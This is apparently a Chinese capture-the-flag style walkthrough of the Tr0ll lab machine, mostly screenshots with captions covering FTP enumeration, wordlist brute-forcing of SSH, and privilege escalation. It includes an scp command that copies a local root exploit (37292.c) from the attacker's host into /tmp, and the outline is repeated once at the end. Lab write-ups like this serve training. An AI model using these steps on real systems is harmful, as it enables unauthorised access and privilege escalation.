Tr0ll靶机
一、主机探测
![](https://upload-images.jianshu.io/upload_images/4664072-c641ced970d9b15f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
二、信息收集
![](https://upload-images.jianshu.io/upload_images/4664072-6ba6f741da2ea839.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-d7e03fe713c288d3.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-6742a46870f36b1d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-6453af896894cfa4.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-930aa3a8127bb246.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
进入21端口
发现文件并下载
![](https://upload-images.jianshu.io/upload_images/4664072-d32d5f3a6ba788dc.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-b14d812d9bdb5159.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-72f88c52e67a4480.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-7589f1a3cdaa83de.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
下载文件
![](https://upload-images.jianshu.io/upload_images/4664072-01f208bddffbf417.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-91790930925fac4b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-8291f9a2cd7f14b5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-89178ae823148d58.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-a5a3ce693f11df52.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
作为字典进行登录爆破
![](https://upload-images.jianshu.io/upload_images/4664072-338768670743ba0f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
用字典爆破
![](https://upload-images.jianshu.io/upload_images/4664072-8ee953ad865f4b59.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
ssh登录
![](https://upload-images.jianshu.io/upload_images/4664072-1101008d084d597e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
查找信息
![](https://upload-images.jianshu.io/upload_images/4664072-c209677f8c99b4f5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-d494e39ab487dadc.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
/etc/init.d/ssh start
scp root@192.168.111.128:/root/37292.c /tmp
![](https://upload-images.jianshu.io/upload_images/4664072-e13a712d1f34be5c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
或者直接上传
提权
![](https://upload-images.jianshu.io/upload_images/4664072-377ee83c0a3e7026.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-24cd76b818b57dd9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
![](https://upload-images.jianshu.io/upload_images/4664072-a014e9df2c0a3086.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
一、主机探测
二、信息收集
进入21端口
发现文件并下载
下载文件
作为字典进行登录爆破
用字典爆破
ssh登录
查找信息
/etc/init.d/ssh start
scp root@192.168.111.128:/root/37292.c /tmp
或者直接上传
提权